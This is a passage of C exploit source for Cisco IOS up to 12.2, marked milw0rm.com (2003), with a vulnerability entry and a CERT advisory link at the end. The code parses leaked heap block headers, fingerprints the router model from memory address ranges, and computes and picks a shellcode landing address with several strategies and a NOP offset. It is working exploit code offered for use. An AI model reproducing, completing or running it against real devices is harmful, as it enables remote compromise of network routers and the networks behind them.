printf("\tBlock Size : %8u words", ntohl(*(unsigned int *)p)&0x7FFFFFFF); if (ntohl(*(unsigned int *)p)&0x80000000) { if (cfg.verbose) printf(" (Block in use)\n"); } else { if (cfg.verbose) printf(" (Block NOT in use)\n"); } state++; p+=4; break; case ST_REF: if (cfg.verbose) printf("\tReferences : %8u\n",ntohl(*(unsigned int *)p)); state++; p+=4; break; case ST_LASTDE: if (cfg.verbose) printf("\tLast DeAlc : %08X\n",ntohl(*(unsigned int *)p)); state=ST_ID_ME_NOW; p+=4; break; // // Identification // case ST_ID_ME_NOW: i=0; while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) { if ( (p_name>=cisco_boxes[i].PC_start) && (p_name<=cisco_boxes[i].PC_end) && (p_pc>=cisco_boxes[i].PC_start) && (p_pc<=cisco_boxes[i].PC_end) && (p_next>=cisco_boxes[i].IO_start) && (p_next<=cisco_boxes[i].IO_end) && (p_prev>=cisco_boxes[i].IO_start) && (p_prev<=cisco_boxes[i].IO_end) ) { leak.guess=i; break; } i++; } state=0; p+=4; break; default: p+=1; } } if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) { unsigned int delta; unsigned int a; unsigned int i; int flag=0; delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin); a=block3_next_val-delta; if (cfg.verbose) { printf("\n"); printf("Delta between opcode_begin (%p) " "and block2_next_field (%p) is %u\n", (void*)block2_next_field, (void*)opcode_begin, delta); printf("The third block is at 0x%08X\n", block3_next_val); printf("Therefore, the code should be located at 0x%08X\n",a); } for (i=0;i<leak.addrc;i++) { if (leak.addrs[i].a==a) { leak.addrs[i].count++; flag++; break; } } if ((flag==0)&&(leak.addrc<MAXADDRS-1)) { leak.addrs[leak.addrc++].a=a; leak.addrs[leak.addrc].count=1; leak.lastaddr=a; } } } unsigned int SelectAddress(void) { unsigned int the_address; int rnd_addr; unsigned int i,j; addrs_t atmp; addrs_t consider[MAXADDRS]; unsigned int consc=0; if (leak.addrc==0) { fprintf(stderr,"ERROR: No addresses available. Unable to recover\n"); return 0; } for (i=0;i<leak.addrc;i++) printf(" Address 0x%08X (%u times)\n", leak.addrs[i].a, leak.addrs[i].count); // // put addresses to consider in another array. // We only want those above our threshold, to prevent irregular buffers // memset(&consider,0,sizeof(consider)); for (i=0;i<leak.addrc;i++) { if (leak.addrs[i].count<LOW_COUNT_THR) { printf("Address 0x%08X count below threshold\n", leak.addrs[i].a); continue; } consider[consc]=leak.addrs[i]; consc++; } // // bubble sort addresses, unless we are operating count based, where we // sort by times of appearences // if (cfg.strategy != S_FREQUENT) { for (i=0;i<consc-1;i++) { for (j=0;j<(consc-1-i);j++) { if (consider[j+1].a < consider[j].a) { atmp=consider[j]; consider[j] = consider[j+1]; consider[j+1] = atmp; } } } } else { for (i=0;i<consc-1;i++) { for (j=0;j<(consc-1-i);j++) { if (consider[j+1].count < consider[j].count) { atmp=consider[j]; consider[j] = consider[j+1]; consider[j+1] = atmp; } } } } printf("Cleaned up, remaining addresses %u\n",consc); if (consc==0) { fprintf(stderr,"ERROR: No addresses left. Unable to recover\n" "You can try to decrease LOW_COUNT_THR in the source\n"); return 0; } for (i=0;i<consc;i++) printf(" Address 0x%08X (%u times)\n", consider[i].a, consider[i].count); switch (cfg.strategy) { case S_RANDOM: { srand((unsigned long)time(NULL)); rnd_addr=(int)(((float)consc-1)*rand()/(RAND_MAX+1.0)); the_address=consider[rnd_addr].a + leak.nop_offset; printf("Use pseudo-randomly selected address 0x%08X (0x%08X)\n", the_address,consider[rnd_addr].a); } break; case S_LAST: { the_address=leak.lastaddr + leak.nop_offset; printf("Using last address 0x%08X\n",the_address); } break; case S_SMALLEST: { if (consc==1) { the_address= consider[0].a + leak.nop_offset; printf("Using smallest address 0x%08X (0x%08X)\n", the_address,consider[0].a); } else if (consc==2) { the_address= consider[1].a + leak.nop_offset; printf("Using second smallest address 0x%08X (0x%08X)\n", the_address,consider[1].a); } else { the_address= consider[2].a + leak.nop_offset; printf("Using third smallest address 0x%08X (0x%08X)\n", the_address,consider[2].a); } } break; case S_HIGHEST: { the_address= consider[consc-1].a + leak.nop_offset; printf("Using highest address 0x%08X (0x%08X)\n", the_address,consider[consc-1].a); } break; case S_FREQUENT: { // already sorted by frequency the_address= consider[consc-1].a + leak.nop_offset; printf("Using most frequent address 0x%08X (0x%08X)\n", the_address,consider[consc-1].a); } break; default: fprintf(stderr,"ERROR: unknown address strategy selected\n"); return (0); } return the_address; } // milw0rm.com [2003-08-10]

Products Mentioned

Configuraton 0

Cisco>>Ios >> Version To (including) 12.2

Références

http://www.kb.cert.org/vuls/id/579324
Tags : third-party-advisory, x_refsource_CERT-VN